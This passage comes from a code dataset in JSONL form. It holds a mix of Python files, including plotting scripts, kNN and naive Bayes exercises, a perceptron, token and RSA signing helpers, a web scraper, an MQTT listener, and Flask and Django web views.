plt.figure()\r\n plt.hist(self.vec_returns,bins=100)\r\n plt.title(self.description)\r\n plt.show()\r\n\r\n ","sub_path":"file_classes.py","file_name":"file_classes.py","file_ext":"py","file_size_in_byte":2914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"135141717","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Apr 1 10:06:23 2017\n@author: samuel\n\"\"\"\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport os\nn=0\nfignum=0\nwhile n<18:\n os.chdir(\"G:\\Seafile\\临时\\Biodegradation of sulfur-rich oil\\正离子excel\")\n# os.makedirs(str(n))\n data = pd.read_excel(str(n)+'.xlsx')\n data['intensity']=data['intensity'].astype(float)\n data = data[(data.ppm>-2) & (data.ppm<2)]\n y=data['class']\n y=y.drop_duplicates()\n y=y.reset_index()\n m=len(y)\n i=0\n specie=0\n while i<m:\n specie=y.loc[i,'class']\n x=data[data['class']==specie]\n x['normalized']=x['intensity']/x['intensity'].sum()\n plt.figure(fignum)\n font = {'family' : 'serif', \n 'color' : 'black', \n 'weight' : 'normal', \n 'size' : 14, \n } \n plt.axis([0,60,0,16])\n plt.xlabel(\"Carbon Number\",fontdict=font)\n plt.ylabel(\"DBE\",fontdict=font)\n plt.text(1,14,s=specie,fontdict=font)\n plt.scatter(x['C'],x['DBE'],s=1200*x['normalized'])\n sample_file_name = specie\n path=\"G:\\Seafile\\临时\\Biodegradation of sulfur-rich oil\\正离子excel\"+\"\\\\\"+str(n)\n filename=specie+'.png'\n plt.savefig(os.path.join(path,filename),dpi=600)\n i=i+1\n fignum=fignum+1\n n=n+1","sub_path":"气泡图/3.py","file_name":"3.py","file_ext":"py","file_size_in_byte":1350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"489244462","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n# Author: \"Zing-p\"\n# Date: 2017/9/11\n\"\"\"\n可视化data_set2.txt中的数据\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom kNN import k_class\n\n\ndef file_to_matrix(filename):\n \"\"\"将文件中的数据转换为数组和分类标签\"\"\"\n f = open(filename, \"r\")\n lines = f.readlines()\n line_sum = len(lines)\n\n ret_matrix = np.zeros((line_sum, 3)) # 单个数组\n class_label_vector = [] # 分类\n index = 0\n for line in lines:\n line = line.strip()\n line_list = line.split(\"\\t\")\n\n ret_matrix[index, :] = line_list[0: 3]\n class_label_vector.append(int(line_list[-1]))\n index += 1\n\n return ret_matrix, class_label_vector\n\n\ndef scatter_plot(data, label):\n \"\"\"生成散点图来可视化数据\"\"\"\n fig = plt.figure()\n ax = fig.add_subplot(111)\n ax.scatter(data[:, 0], data[:, 1], 15.0 *\n np.array(label), 15.0*np.array(label))\n plt.show()\n\n\ndef auto_norm(data):\n \"\"\"数据归一化函数\"\"\"\n min_val = data.min(0) # 0 应该是按照\"列\"计算\n max_val = data.max(0)\n\n ranges = max_val - min_val\n # norm_data_set = np.zeros(np.shape(data))\n m = data.shape[0]\n norm_data_set = data - np.tile(min_val, (m, 1))\n norm_data_set = norm_data_set / np.tile(ranges, (m, 1))\n\n return norm_data_set, ranges, min_val\n\n\ndef error_rate_test():\n \"\"\"\n 测试分类算法的错误率，通常0.9的数据作为训练样本，0.1的数据作为测试。\n \"\"\"\n\n test_ratio = 0.10 # 测试比值，测试数据占所有数据的比值\n data_set, data_label = file_to_matrix(\"data_set2.txt\")\n norm_set, ranges, min_val = auto_norm(data_set)\n m = norm_set.shape[0]\n test_vector_num = int(m*test_ratio) # 测试数据的大小\n\n error_count = 0.0\n for i in range(test_vector_num):\n result = k_class(norm_set[i, :], norm_set[test_vector_num: m, :],\n data_label[test_vector_num: m], 4)\n if result != data_label[i]:\n print(\"Test result is:{}, real answer is: {}\".format(\n result, data_label[i]))\n error_count += 1.0\n print(\"The error rate is: %f\" % (error_count / float(test_vector_num)))\n\n\nif __name__ == '__main__':\n\n data_set, data_label = file_to_matrix(\"data_set2.txt\")\n norm_data = auto_norm(data_set) # 归一化之前的散点图可视化\n scatter_plot(data_set, data_label)\n scatter_plot(norm_data, data_label) # 归一化之后的散点图可视化\n\n error_rate_test()\n","sub_path":"K-NN/kNN2.py","file_name":"kNN2.py","file_ext":"py","file_size_in_byte":2589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"191445750","text":"from itsdangerous import TimedJSONWebSignatureSerializer as Serializer\nfrom itsdangerous import SignatureExpired, BadSignature, BadData\nimport rsa\n\nclass payloadIllegalError(Exception):\n def __init__(self, err=\"illegal payload inside. Secrete key may have been disclosed!\"):\n Exception.__init__(self, err)\n\ndef token_verify(token, secret_key, salt=None):\n # token decoding\n s = Serializer(\n secret_key=secret_key,\n salt=salt\n )\n try:\n data = s.loads(token)\n # 触发SignatureExpired token过期\n except BadSignature as e:\n encoded_payload = e.payload\n if encoded_payload:\n s.load_payload(encoded_payload) # 触发BadData token被篡改\n raise BadSignature # payload不完整\n if 'id' not in data \\\n or 'permission' not in data:\n raise payloadIllegalError\n return data\n\ndef generate_key(pubkey_file, privkey_file):\n \"\"\"\n 生成密钥对\n :return: (公钥对象, 私钥对象)\n \"\"\"\n # 生成密钥\n pubkey, privkey = rsa.newkeys(1024)\n # 保存密钥\n with open(pubkey_file,'w+') as f:\n f.write(pubkey.save_pkcs1().decode())\n\n with open(privkey_file,'w+') as f:\n f.write(privkey.save_pkcs1().decode())\n\n return pubkey, privkey\n\ndef signature(msg, privkey):\n \"\"\"\n 签名生成\n :param msg: 签名内容\n :param privkey: 私钥字符串\n :return: 签名字符串\n \"\"\"\n privkey = rsa.PrivateKey.load_pkcs1(privkey)\n return rsa.sign(msg.encode(), privkey, 'SHA-1')\n\ndef verify(msg, sign, pubkey):\n \"\"\"\n 签名验证\n :return:\n \"\"\"\n if isinstance(sign, str):\n sign = bytes(sign, encoding='utf-8')\n try:\n rsa.verify(msg, sign, rsa.PublicKey.load_pkcs1(pubkey))\n return True\n except rsa.pkcs1.VerificationError:\n return False","sub_path":"auth.py","file_name":"auth.py","file_ext":"py","file_size_in_byte":1838,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"135477741","text":"# -*- coding:utf-8 -*-\n'''\n@Author: 三个橘子\n@Email : ipapu@qq.com\n'''\n\nfrom bs4 import BeautifulSoup\nimport re\n\nclass HtmlParser(object):\n '''页面解析'''\n def parse(self, page_url, html_cont):\n if page_url is None or html_cont is None:\n return\n soup = BeautifulSoup(html_cont, 'html.parser', from_encoding='utf-8')\n new_urls = self._get_new_urls(soup)\n new_data = self._get_new_data(page_url, soup)\n return new_urls, new_data\n\n def _get_new_urls(self, soup):\n new_urls = set()\n links = soup.find_all('a', href=re.compile(r'https://book.douban.com/+\\w+'))\n for link in links:\n new_url = link['href']\n new_urls.add(new_url)\n return new_urls\n\n def _get_new_data(self, page_url, soup):\n res_data = {}\n try:\n res_data['url'] = page_url\n res_data['book'] = soup.find('div', class_=\"main\").find_all('a')[2].get_text()\n res_data['tittle'] = soup.find(id=\"content\").find_all('h1')[1].get_text()\n res_data['author'] = soup.find('div', class_=\"main\").find_all('a')[1].get_text()\n res_data['text'] = soup.find('div', class_=\"review-content clearfix\").get_text()\n return res_data\n except:\n res_data=None","sub_path":"spider/html_parser.py","file_name":"html_parser.py","file_ext":"py","file_size_in_byte":1305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"298889599","text":"# encoding:utf-8\r\n# 贝叶斯多分类\r\n\r\nimport csv\r\n\r\ncsv_data = csv.reader(open(\"data/simple.csv\", encoding=\"utf-8\"))\r\n\r\ntrain_data = []\r\ntrain_label_dist = {}\r\ntrain_column = []\r\ntrain_tree = {}\r\ntrain_data_count = 0\r\n\r\n\r\n# https://mp.weixin.qq.com/s?__biz=MjM5MTI3MzUwMA==&mid=2650011249&idx=1&sn=7a7eaedff252abe1eba7002b55c87027&chksm=bebf510289c8d81436ed24bc5a58cb7d835871545b13898a870b5e472f249de945c0192ea278&scene=0#rd\r\n\r\ndef train():\r\n for row in csv_data:\r\n if row[0].startswith(\"#\"):\r\n train_column = [row[0].lstrip('#')]\r\n train_column.extend(row[1:])\r\n else:\r\n train_data.append(row)\r\n train_label_dist[row[0]] = row[0]\r\n\r\n train_data_count = len(train_data)\r\n\r\n expect_train_num = (len(train_column) - 1) * (len(train_column) - 1) * len(train_label_dist)\r\n if (train_data_count < expect_train_num):\r\n print(\"训练样本不足,模型拟合可能不是最优,当前样本%s,期望样本%s.\\n\" % (train_data_count, expect_train_num))\r\n\r\n for label in train_label_dist.keys():\r\n label_num = 0\r\n for columnIndex in range(len(train_column) - 1):\r\n column_name = train_column[columnIndex + 1]\r\n for d1 in train_data:\r\n column_count = 0\r\n for d2 in train_data:\r\n if d1[0] == label and d1[0] == d2[0] and d1[columnIndex + 1] == d2[columnIndex + 1]:\r\n column_count += 1\r\n if column_count > 0:\r\n key = label + \"|\" + column_name + \"|\" + d1[columnIndex + 1]\r\n train_tree[key] = column_count / train_data_count\r\n\r\n for d in train_data:\r\n if d[0] == label:\r\n label_num += 1\r\n\r\n train_tree[label] = label_num / train_data_count\r\n\r\n return train_tree, train_column\r\n\r\n\r\ndef pred(vector, column_meta):\r\n prop_rs = []\r\n for label in train_label_dist:\r\n prop = 1\r\n\r\n for column in range(len(column_meta) - 1):\r\n key = label + \"|\" + column_meta[column + 1] + \"|\" + vector[column]\r\n if (key in train_tree) == True:\r\n prop *= train_tree[key]\r\n else:\r\n prop *= 0.0000001\r\n\r\n prop *= train_tree[label]\r\n prop_rs.append([label, prop])\r\n\r\n prop_sum = 0\r\n for p in prop_rs:\r\n prop_sum += p[1]\r\n\r\n for p in prop_rs:\r\n p[1] = p[1] / prop_sum * 100\r\n\r\n return prop_rs\r\n\r\n\r\ndef run():\r\n model, column_meta = train()\r\n\r\n print(\"训练数据:\", train_data, \"\\n\")\r\n\r\n print(\"朴素贝叶斯概率表:\", model, \"\\n\")\r\n\r\n vector = [\"30-40岁\", \"上海\", \"金融理财\"]\r\n\r\n prop = pred(vector, column_meta)\r\n\r\n print(\"测试版本:\", vector, \"\\n\")\r\n\r\n print(\"预测概率(百分比):\", prop)\r\n\r\n\r\nrun()\r\n","sub_path":"workspace/python-work/src/bayes.py","file_name":"bayes.py","file_ext":"py","file_size_in_byte":2812,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"272128078","text":"import pathlib\nimport pytest\n\nfrom sat_solver.dpll_solver import DpllSatSolver\n\n\nclass TestDpllSatSolver:\n def test_solve(self):\n solver = DpllSatSolver.from_file(\n f\"{pathlib.Path(__file__).parent}\"\n f\"/super_simple_satisfiable_clauses.txt\"\n )\n solution = solver.solve()\n assert solution and len(solution.clauses) > 1\n\n solver = DpllSatSolver.from_file(\n f\"{pathlib.Path(__file__).parent}/satisfiable_clauses.txt\"\n )\n solution = solver.solve()\n assert solution and len(solver.solve().clauses) > 1\n","sub_path":"tests/sat_solver/dpll_solver_test.py","file_name":"dpll_solver_test.py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"19862017","text":"str1 = \"abcdef\"\nidx = -1\nwhile idx >= -len(str1):\n print(str1[idx])\n idx -= 1\n\n # i = len(str1)\n # rev = list(str1)\n # for c in str1:\n # i -= 1\n # rev[i] = c\n # print(join(rev))\n ","sub_path":"1020/str_reverse.py","file_name":"str_reverse.py","file_ext":"py","file_size_in_byte":214,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"91340756","text":"from TaxonDictionary import TaxonDictionary\n\nclass TaxonPackage(TaxonDictionary):\n\t\"\"\" Пакет. Контейнер для группы модулей и других пакетов.\n\tДля Wpp-сообщества (и большинства других) это директория.\n\tНо для JS может осуществляться объединение пакетов и модулей в один файл.\n\t\"\"\"\n\ttype = '@package'\n\n\tdef export(self, outContext):\n\t\tnewContext = outContext.createFolder(self.name)\n\t\tself.onNewFolder(newContext)\n\t\tfor item in self.items:\n\t\t\titem.export(newContext)\n\n\tdef findUp(self, fromWho, params):\n\t\t\"\"\" Поиск внутри пакета предполагает, что надо искать во вложенных пакетах и модулях\n\t\t\"\"\"\n\t\tif self.isMatch(params):\n\t\t\treturn self\n\t\tresults = []\n\t\tfor i in self.items:\n\t\t\tif i != fromWho:\n\t\t\t\tif i.isMatch(params):\n\t\t\t\t\treturn i\n\t\t\t\tresults += i.findDown(params)\n\t\tif len(results) == 1:\n\t\t\treturn results[0]\n\t\t# Вполне возможно, что в разных пакетах будут таксоны с одинаковыми именами\n\t\t# В этом случае нужно сгенерировать ошибку. Т.к. для точного указания нужно имя пакета\n\t\tif len(results) > 1:\n\t\t\tmsg = 'Multiply declaration of \"%s\" in [%s]' % (params['name'], ', '.join([res.getPath() for res in results]))\n\t\t\tparams['source'].throwError(msg)\n\t\tif self.owner:\n\t\t\treturn self.owner.findUp(self, params)\n\n\tdef findDown(self, params):\n\t\t\"\"\" Поиск вниз для пакета предполагает обход всех подчиненных\n\t\tПотому что это подчиненные пакеты или модули\n\t\t\"\"\"\n\t\treturn self._findDownRecursive(params)\n","sub_path":"src3/core/TaxonPackage.py","file_name":"TaxonPackage.py","file_ext":"py","file_size_in_byte":1835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"598202280","text":"\ndef calcular_precio(marca,puerta,color,ventas):\n marcas = {'ford': 100000, 'fiat': 80000, 'chevrolet':120000}\n colores = {'azul': 10000, 'blanco': 20000, 'negro': 30000}\n puertas = {2: 50000, 4: 65000, 5: 78000}\n precio = marcas[marca] + colores[color] + puertas[puerta]\n if ventas > 5 and ventas < 11:\n precio = precio * 0.9\n elif ventas > 10 and ventas < 51:\n precio = precio * 0.85\n elif ventas > 50:\n precio = precio * 0.82\n return precio\n\nmas_clientes = 'si'\nventas = []\nmarcas = ['ford', 'fiat', 'chevrolet']\npuertas = [2, 4, 5]\ncolores = ['azul', 'blanco', 'negro']\n\n\nwhile mas_clientes == 'si':\n nombre = input(\"Ingrese por favor su nombre: \")\n apellido = input(\"Ingrese por favor su apellido: \")\n marca = ''\n puerta = 0\n color = ''\n while marca not in marcas:\n marca = input(\"Ingrese por favor una marca: \")\n marca = marca.lower()\n while puerta not in puertas:\n puerta = int(input('Ingrese por favor el numero de puertas: '))\n while color not in colores:\n color = input('Ingrese por favor un color: ')\n\n\n ventas.append({'nombre':nombre, 'apellido':apellido, 'marca': marca, 'puertas':puerta, 'color':color})\n mas_clientes = input('¿Hay mas clientes?')\n\nlargo = len(ventas)\n\nfor i in ventas:\n precio = calcular_precio(i['marca'],i['puertas'],i['color'],largo)\n print(\"La persona: \" + i['nombre']+ \" \"+ i['apellido']+\" \"\"compro un auto \"+ i['marca'] + \" de \"\n +str(i['puertas'])+ \" puertas y color \"+ i['color']+ \" con un precio de $\" +str(precio))\n","sub_path":"autos_parte2_revicion.py","file_name":"autos_parte2_revicion.py","file_ext":"py","file_size_in_byte":1578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"79087966","text":"from flask import Blueprint, request\nfrom werkzeug.exceptions import BadRequest\nfrom apikit import obj_or_404, request_data, jsonify\n\nfrom aleph.model import Role, Permission\nfrom aleph.core import db\nfrom aleph.validation import validate\nfrom aleph import authz\n\npermissions_schema = 'https://aleph.grano.cc/operational/permission.json#'\nblueprint = Blueprint('roles', __name__)\n\n\n@blueprint.route('/api/1/roles', methods=['GET'])\ndef index():\n authz.require(authz.logged_in())\n users = []\n for role in db.session.query(Role):\n data = role.to_dict()\n del data['email']\n users.append(data)\n return jsonify({'results': users, 'total': len(users)})\n\n\n@blueprint.route('/api/1/roles/<int:id>', methods=['GET'])\ndef view(id):\n role = obj_or_404(Role.by_id(id))\n data = role.to_dict()\n if role.id != request.auth_role.id:\n del data['email']\n return jsonify(data)\n\n\n@blueprint.route('/api/1/roles/<int:id>', methods=['POST', 'PUT'])\ndef update(id):\n role = obj_or_404(Role.by_id(id))\n authz.require(authz.logged_in())\n authz.require(role.id == request.auth_role.id)\n role.update(request_data())\n db.session.add(role)\n db.session.commit()\n return jsonify(role)\n\n\n@blueprint.route('/api/1/watchlists/<int:watchlist>/permissions')\ndef watchlist_permissions_index(watchlist=None):\n authz.require(authz.watchlist_write(watchlist))\n q = db.session.query(Permission)\n q = q.filter(Permission.resource_type == Permission.COLLECTION)\n q = q.filter(Permission.resource_id == watchlist)\n return jsonify({\n 'total': q.count(),\n 'results': q\n })\n\n\n@blueprint.route('/api/1/sources/<int:source>/permissions')\ndef source_permissions_index(source=None):\n q = db.session.query(Permission)\n authz.require(authz.source_write(source))\n q = q.filter(Permission.resource_type == Permission.SOURCE)\n q = q.filter(Permission.resource_id == source)\n return jsonify({\n 'total': q.count(),\n 'results': q\n })\n\n\n@blueprint.route('/api/1/watchlists/<int:watchlist>/permissions',\n methods=['POST', 'PUT'])\n@blueprint.route('/api/1/sources/<int:source>/permissions',\n methods=['POST', 'PUT'])\ndef permissions_save(watchlist=None, source=None):\n if watchlist is not None:\n authz.require(authz.watchlist_write(watchlist))\n if source is not None:\n authz.require(authz.source_write(source))\n\n resource_type = Permission.WATCHLIST if watchlist else Permission.SOURCE\n resource_id = watchlist or source\n data = request_data()\n validate(data, permissions_schema)\n\n role = db.session.query(Role).filter(Role.id == data['role']).first()\n if role is None:\n raise BadRequest()\n\n permission = Permission.grant_resource(resource_type, resource_id, role,\n data['read'], data['write'])\n db.session.commit()\n return jsonify({\n 'status': 'ok',\n 'updated': permission\n })\n","sub_path":"aleph/views/roles_api.py","file_name":"roles_api.py","file_ext":"py","file_size_in_byte":2998,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"330494326","text":"import sys\r\nimport numpy as np\r\nimport random\r\n\r\ndef Readfile(filename):\r\n data = []\r\n sign = []\r\n with open(filename, 'r') as f:\r\n for line in f:\r\n line=line.strip()\r\n items = line.split()\r\n for i in range(len(items)):\r\n items[i] = float(items[i])\r\n items.insert(0,1.0)\r\n data.append(items[0:-1])\r\n sign.append(int(items[-1]))\r\n if len(data) != len(sign):\r\n sys.exit(-1)\r\n return data,sign\r\n\r\ndef error_weight(data,sign,w):\r\n error_num = 0\r\n total = len(data)\r\n for i in range(total):\r\n if len(w) != len(data[i]):\r\n sys.exit(-1)\r\n score = np.dot(w,data[i])\r\n tag = 1 if score > 0 else -1\r\n if tag != sign[i]:\r\n error_num += 1\r\n ret = error_num/total\r\n return ret\r\n\r\ndef find_error(data,sign,w):\r\n total = len(data)\r\n rd = random.Random()\r\n for i in range(total*10):\r\n index = rd.randint(0,total-1)\r\n if len(w) != len(data[index]):\r\n sys.exit(-1)\r\n score = np.dot(w, data[index])\r\n tag = 1 if score > 0 else -1\r\n if tag != sign[index]:\r\n return True,index\r\n else:\r\n err_train = error_weight(data,sign,w)\r\n if err_train != 0:\r\n while True:\r\n index = rd.randint(0, total - 1)\r\n if len(w) != len(data[index]):\r\n sys.exit(-1)\r\n score = np.dot(w, data[index])\r\n tag = 1 if score > 0 else -1\r\n if tag != sign[index]:\r\n return True, index\r\n else:\r\n index = total\r\n return False,index\r\n\r\ndef update_w(data,sign,error_index,w,k=1):\r\n\r\n temp = np.dot(sign[error_index],data[error_index])\r\n if (len(w) != len(temp)):\r\n sys.exit(-1)\r\n w = w + k*temp\r\n return w\r\n\r\ndef PLA_pocket(data,sign,w=list([0,0,0,0,0]),steps=50,k=1):\r\n for i in range(steps):\r\n exit_error,err_index = find_error(data,sign,w)\r\n if exit_error:\r\n w = update_w(data,sign,err_index,w,k)\r\n err_train = error_weight(data,sign,w)\r\n # if err_train < err_min:\r\n # w_best = w\r\n # err_min = err_train\r\n else:\r\n err_train = 0\r\n break\r\n return w, err_train #最后一次迭代的权重\r\n\r\nif __name__ == '__main__':\r\n file_train = 'hw1_18_train.dat'\r\n data,sign = Readfile(file_train)\r\n\r\n file_test = 'hw1_18_test.dat'\r\n data_test,sign_test = Readfile(file_test)\r\n\r\n err_list=[]\r\n for i in range(100):\r\n w = [0,0,0,0,0]\r\n w, err_percent = PLA_pocket(data,sign,w,50)\r\n\r\n err_test = error_weight(data,sign,w)\r\n err_list.append(err_test)\r\n print(err_test,end=' ')\r\n if((i+1)%20 == 0):\r\n print()\r\n total = 0\r\n for i in err_list:\r\n total = total+i\r\n print('average of test error:%.3f' %(total/100))\r\n\r\n# average of test error:0.348\r\n\r\n","sub_path":"hw1/hw1_19.py","file_name":"hw1_19.py","file_ext":"py","file_size_in_byte":3038,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"234033638","text":"####\n# eventReceiver.py\n####\nimport time\nimport paho.mqtt.client as paho\n\nbrokerAddr=\"localhost\"\n\ndef on_message(client, userdata, message) : #define callback\n evMsg = str( message.payload.decode(\"utf-8\") )\n print(\"evMsg=\", evMsg )\n \nclient= paho.Client(\"receiver\") \nclient.on_message=on_message # Bind function to callback\n\nclient.connect(brokerAddr) #connect\nprint(\"connected to broker \", brokerAddr)\nprint(\"subscribing to unibo/qak/events\")\nclient.subscribe(\"unibo/qak/events\") #subscribe\n \nprint(\"collecting values; please wait ...\" )\nclient.loop_start() #start loop to process received messages\ntime.sleep(30)\nclient.disconnect() #disconnect\nprint(\"bye\")\nclient.loop_stop() #stop loop ","sub_path":"it.unibo.qak20.basicrobot/resources/python/eventReceiver.py","file_name":"eventReceiver.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"94432911","text":"import logging\nimport re\nimport traceback\nfrom time import time\n\nfrom uhttp.core import HTTPFound, Request\n\nfrom evernotebot.bot.core import EvernoteBotException\nfrom evernotebot.bot.shortcuts import evernote_oauth_callback\n\n\ndef telegram_hook(request: Request):\n data = request.json()\n bot = request.app.bot\n try:\n bot.process_update(data)\n except Exception:\n str_exc = traceback.format_exc()\n failed_update = {\n \"created\": time(),\n \"data\": data,\n \"exception\": str_exc,\n }\n entry_id = bot.failed_updates.create(failed_update, auto_generate_id=True)\n logging.getLogger(\"evernotebot\").error({\n \"exception\": str_exc,\n \"failed_update_id\": entry_id,\n })\n\n\ndef evernote_oauth(request: Request):\n params = request.GET\n bot = request.app.bot\n callback_key = params[\"key\"]\n if not re.match(r\"^[a-z0-9]{40}$\", callback_key):\n raise EvernoteBotException(\"Invalid callback key\")\n access_type = params.get(\"access\")\n if access_type not in (\"basic\", \"full\"):\n raise EvernoteBotException(\"Invalid access\")\n evernote_oauth_callback(\n bot,\n callback_key=callback_key,\n oauth_verifier=params.get(\"oauth_verifier\"),\n access_type=access_type,\n )\n return HTTPFound(bot.url)\n","sub_path":"evernotebot/web/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1339,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"539598348","text":"from django.core.exceptions import ObjectDoesNotExist\nfrom django.http import HttpResponseRedirect\nfrom django.shortcuts import redirect\nfrom django.views.generic import CreateView\nfrom django.views.generic import ListView, DetailView, TemplateView\nfrom django.views.generic.edit import FormMixin\nfrom restaurant_admin.models import *\nfrom .forms import FormOrder\nfrom django.shortcuts import render\nfrom django.views import View\n\n\nclass ZarinPal(TemplateView):\n template_name = 'zarinpal.html'\n\n\nclass IndexView(TemplateView):\n template_name = 'index.html'\n\n def get_context_data(self, **kwargs):\n context = super(IndexView, self).get_context_data(**kwargs)\n if 'food_orders_list' not in self.request.session:\n fo_list = []\n self.request.session['food_orders_list'] = fo_list\n fo_list = self.request.session['food_orders_list']\n ordered_foods = FoodOrder.objects.filter(pk__in=fo_list)\n\n if 'order_list_pk' not in self.request.session:\n ol = OrderList.objects.create()\n self.request.session['order_list_pk'] = ol.pk\n ol_pk = self.request.session['order_list_pk']\n order_list = OrderList.objects.get(pk=ol_pk)\n\n context['food_order'] = ordered_foods.values()\n context['order_status'] = order_list.status\n context['cat_first_pk'] = FoodCategory.objects.first().pk\n\n return context\n\n def post(self, request, *args, **kwargs):\n if self.request.POST.get('deliver'):\n ol_pk = self.request.session['order_list_pk']\n order_list = OrderList.objects.get(pk=ol_pk)\n order_list.status = \"DE\"\n order_list.save()\n return HttpResponseRedirect(self.request.path_info)\n\n\nclass FoodCategoryListView(ListView):\n model = FoodCategory\n context_object_name = 'categories'\n template_name = 'customer/category_list.html'\n\n def get_context_data(self, **kwargs):\n context = super(FoodCategoryListView, self).get_context_data(**kwargs)\n if 'food_orders_list' not in self.request.session:\n fo_list = []\n self.request.session['food_orders_list'] = fo_list\n fo_list = self.request.session['food_orders_list']\n ordered_foods = FoodOrder.objects.filter(pk__in=fo_list)\n\n if 'order_list_pk' not in self.request.session:\n ol = OrderList.objects.create()\n self.request.session['order_list_pk'] = ol.pk\n ol_pk = self.request.session['order_list_pk']\n order_list = OrderList.objects.get(pk=ol_pk)\n\n context['food_order'] = ordered_foods.values()\n context['order_status'] = order_list.status\n\n return context\n\n\n# TODO : clear session and database after pay\n\n# TODO : dont refresh the page after adding or removing food\n\n\nclass FoodCategoryDetailView(DetailView):\n model = FoodCategory\n context_object_name = 'category'\n template_name = 'customer/category_detail.html'\n\n def get_context_data(self, **kwargs):\n context = super(FoodCategoryDetailView, self).get_context_data(**kwargs)\n # del self.request.session['order_list_pk']\n if 'food_orders_list' not in self.request.session:\n fo_list = []\n self.request.session['food_orders_list'] = fo_list\n fo_list = self.request.session['food_orders_list']\n ordered_foods = FoodOrder.objects.filter(pk__in=fo_list)\n\n if 'order_list_pk' not in self.request.session:\n ol = OrderList.objects.create()\n self.request.session['order_list_pk'] = ol.pk\n ol_pk = self.request.session['order_list_pk']\n order_list = OrderList.objects.get(pk=ol_pk)\n\n context['food_order'] = ordered_foods.values()\n context['ordered'] = ordered_foods.values_list('food', flat=True).distinct()\n context['order_status'] = order_list.status\n context['categories'] = FoodCategory.objects.all()\n\n return context\n\n def post(self, request, *args, **kwargs):\n if request.POST.get('addFood'):\n food_pk = request.POST.get('food_pk')\n food = Food.objects.get(pk=food_pk)\n\n if 'food_orders_list' not in self.request.session:\n fo_list = []\n self.request.session['food_orders_list'] = fo_list\n fo_list = self.request.session['food_orders_list']\n ordered_foods = FoodOrder.objects.filter(pk__in=fo_list)\n\n try:\n ordered_foods = ordered_foods.get(food=food)\n ordered_foods.number = ordered_foods.number + 1\n ordered_foods.cost = ordered_foods.cost + food.cost\n ordered_foods.save()\n except ObjectDoesNotExist:\n food_order = FoodOrder(food=food, number=1, cost=food.cost)\n food_order.save()\n fo_list.append(food_order.pk)\n self.request.session['food_orders_list'] = fo_list\n\n return HttpResponseRedirect(self.request.path_info)\n\n if request.POST.get('removeFood'):\n food_pk = request.POST.get('food_pk')\n food = Food.objects.get(pk=food_pk)\n\n if 'food_orders_list' not in self.request.session:\n fo_list = []\n self.request.session['food_orders_list'] = fo_list\n fo_list = self.request.session['food_orders_list']\n ordered_foods = FoodOrder.objects.filter(pk__in=fo_list)\n\n try:\n ordered_foods = ordered_foods.get(food=food)\n if ordered_foods.number == 1:\n fo_list.remove(ordered_foods.pk)\n self.request.session['food_orders_list'] = fo_list\n ordered_foods.delete()\n else:\n ordered_foods.number = ordered_foods.number - 1\n ordered_foods.cost = ordered_foods.cost - food.cost\n ordered_foods.save()\n except ObjectDoesNotExist:\n pass\n\n return HttpResponseRedirect(self.request.path_info)\n\n return HttpResponseRedirect(self.request.path_info)\n\n\nclass OrderListView(FormMixin, ListView):\n model = OrderList\n template_name = 'customer/order_list.html'\n form_class = FormOrder\n\n def get_context_data(self, **kwargs):\n context = super(OrderListView, self).get_context_data(**kwargs)\n if 'food_orders_list' not in self.request.session:\n fo_list = []\n self.request.session['food_orders_list'] = fo_list\n fo_list = self.request.session['food_orders_list']\n ordered_foods = FoodOrder.objects.filter(pk__in=fo_list)\n\n if 'order_list_pk' not in self.request.session:\n ol = OrderList.objects.create()\n self.request.session['order_list_pk'] = ol.pk\n ol_pk = self.request.session['order_list_pk']\n order_list = OrderList.objects.get(pk=ol_pk)\n\n context['food_order'] = ordered_foods.values()\n context['ordered_foods'] = ordered_foods\n context['ordered'] = ordered_foods.values_list('food', flat=True).distinct()\n context['order_status'] = order_list.status\n\n cost_vals = Cost.objects.get(pk=1)\n food_costs = ordered_foods.values_list('cost', flat=True).distinct()\n food_numbers = ordered_foods.values_list('number', 'food').distinct()\n\n total_food_costs = 0\n for cost in food_costs:\n total_food_costs += cost\n\n n = 0\n for item in food_numbers:\n if Food.objects.get(pk=item[1]).takeaway_price:\n n += item[0]\n\n packaging_charge = cost_vals.packaging_cost * n\n tax = cost_vals.tax * total_food_costs / 100\n service_charge = cost_vals.service_charge * total_food_costs / 100\n\n context['packaging_charge'] = packaging_charge\n context['tax'] = tax\n context['service_charge'] = service_charge\n context['total_food_cost'] = total_food_costs\n context['total_cost_wt'] = total_food_costs + service_charge + tax + packaging_charge\n context['total_cost_nt'] = total_food_costs + service_charge + tax\n context['cat_first_pk'] = FoodCategory.objects.first().pk\n\n self.request.session['total_cost_wt'] = total_food_costs + service_charge + tax + packaging_charge\n self.request.session['total_cost_nt'] = total_food_costs + service_charge + tax\n return context\n\n def post(self, request, *args, **kwargs):\n if request.POST.get('addFood'):\n\n food_pk = request.POST.get('food_pk')\n food = Food.objects.get(pk=food_pk)\n\n if 'food_orders_list' not in 